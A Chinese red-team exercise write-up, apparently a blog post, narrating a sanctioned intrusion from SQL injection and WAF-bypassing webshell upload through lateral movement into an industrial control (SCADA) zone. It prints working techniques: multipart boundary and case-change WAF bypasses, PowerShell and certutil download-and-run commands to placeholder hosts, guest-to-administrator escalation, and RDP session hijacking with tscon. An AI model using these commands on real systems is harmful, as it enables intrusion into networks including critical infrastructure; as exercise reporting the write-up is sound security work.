一次直达工控区的"简单"渗透

前言

好久没写实战文章了,过年过的手都麻了,一天不渗透我是浑身难受。正想找几个站泄泄火呢。刚好就接到了领导的任务,需要我去参加某集团组织的攻防演练。过程即简单也曲折,好在成功绕过waf,且横向渗透取得办公区运维机权限,最终取得工控生产区服务器权限,完成渗透目标,skr~ skr~。

sql注入打点

经过前期不断的信息收集,发现目标下的某办公系统,根据本次规则,其下属单位也在攻击范围内,且和主目标属于一个c段。向裁判沟通,确定了目标在演练范围内,直接冲。

没发现弱口令,各种翻源码和信息收集,后来在Js里找到一处未授权访问的接口。

经测试,这个接口存在SQL注入,WAF稍微绕一下即可。

跑出来管理后台口令和密码,成功登录管理后台。

bypass waf getshell

登录后发现存在上传功能,通过对上传点测试发现存在任意文件上传,且存在未知waf。

当数据包中存在非法内容时,waf会对数据包进行阻断。

拦截了非法后缀名

拦截了文件内容

绕过硬件waf

开始尝试绕过waf,首先对文件后缀名的限制进行bypass

尝试使用修改Content-Type进行bypass

修改前:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynyPW4lGbujY0nBEL

在"boundary="和"----"中间插入tab键。

修改后:

Content-Type: multipart/form-data; boundary=    ----WebKitFormBoundarynyPW4lGbujY0nBEL

成功绕过后缀名检测。

接下来尝试对文件内容检测进行绕过。

测试发现最基础的输出hello world 都会被拦截。

<% response.write("hello world")  %>

经过测试发现waf对 <% %> 进行了匹配,因为我不懂.net,于是找之前做.net开发的大学同学看看有没有解决办法。

经过一段时间的闲聊,问题没有解决掉。

没办法,如果无法绕过waf的规则,只能从waf缺陷上入手了。

根据以前的经验,可以使用垃圾数据构造一个大的数据包,然后把恶意代码藏到里面,由于waf检测要考虑内存占用,带宽占用等等不可避免的问题,因此有几率绕过waf检测。

成功上传了菜刀马。

使用客户端连接超时,看来waf还对常见的客户端流量特征进行了查杀。

这里可以使用去除特征的客户端连接,或者使用中转的方式绕过。

绕过代码waf

决定重新上传一个命令执行功能的小马,新的问题出现了。

返回了报错,猜测是因为小马中存在函数代码内容,触发了代码层waf。

这里绕了个弯路,由于之前的一句话木马上传成功了,因此我第一时间就去翻之前收集的免杀小马进行尝试,结果全部上传失败。

怀疑可能是我的小马免杀能力不够强,于是试了团队其它成员的木马,有没有可以成功。

最后试了n多个都不行。

路没走通,因为决定具体去看看拦截的规则。

尝试把之前的小马分的多段,一段一段的添加测试,寻找拦截的点,经过尝试,发现waf并没有做大小写的判断。

也就只说只要把拦截的参数大小写改变一下就能bypass。

比如修改Request为RequesT

最终把所有拦截的参数通过这种方式进行bypass。

成功访问到小马,getshell成功。

横向渗透

目前得到了一个iis的命令执行权限,为了方便内网横向,需要上线cs。

首先使用ping命令确定目标出网情况。

可以尝试执行powershell命令直接上线cs

powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x'))

也可以使用证书下载尝试下载木马到服务器执行。

certutil.exe -urlcache -split -f http://x.x.x.x/x.exe  D:\x.exe

存在杀软的情况需要对powershell命令或exe进行免杀处理,这里不再详细展开。(可关注Tide免杀系列文章)

这里利用免杀powershell命令让cs成功上线,并且利用烂土豆插件成功提权至system权限。(可关注明湖论剑《cs木马免杀技巧分享》的PPT)

Powershell.exe  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal   set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('h‘+’ttp://x.x.x.x/a')

发现目标为server2012服务器,无法读取明文密码,因此选择激活guest用户。

net user guest   /active:yes 
net user guest   tide@123456 
net localgroup   administrators  guest   /add

搭建socks5隧道(nps,frp)

登录guest用户,使用rdp劫持登录administrator。

query user 
sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"      #1为目标会话id和当前会话名 
net start tide

成功登录后通过在本机进行信息收集,发现远程连接的凭证信息,其它服务数据库密码等等信息。

利用收集到的信息进行不断的横向移动。

收集了一堆弱口令,拿下了若干服务器后,没发现过多敏感东西,都是一些乱七八糟的web应用。

功夫不负有心人,内网里绕了N圈,最终发现某台服务器上居然奇葩的保存了一台win7电脑的远程连接凭证。

进入运维区

win7系统一般为个人办公用,登录后果然是办公区个人pc电脑,眉头一皱,这事果然不简单。

经过判断应该是运维人员的办公PC,发财了发财了。

花费了大量时间在本机进行信息收集,找到了内网导航站,大概清楚了其内网网络的划分结构。

通过查找运维邮箱,发现了一个机房密码本文件。获得了大量机房服务器密码本,以及一些重要业务系统的管理员密码。

保存了大量重要服务器的密码。

进入工控生产区

通过网络测试,该运维机居然可直通工控生产区,密码本保存的密码大部分仍有效,可直接登录SCADA服务器。

文图无关
文图无关

成功登录,进入到了核心生产内网,点到为止,至此本次渗透结束。

总结

本次渗透,大量的时间花费在了bypass waf和内网信息收集上,最终通过搜集到的机房服务器密码本,让本次渗透直接取得了工控区权限,可谓是非常"简单"。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,718评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,683评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,207评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,755评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,862评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,050评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,136评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,882评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,330评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,651评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,789评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,477评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,135评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,864评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,099评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,598评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,697评论 2 351

推荐阅读更多精彩内容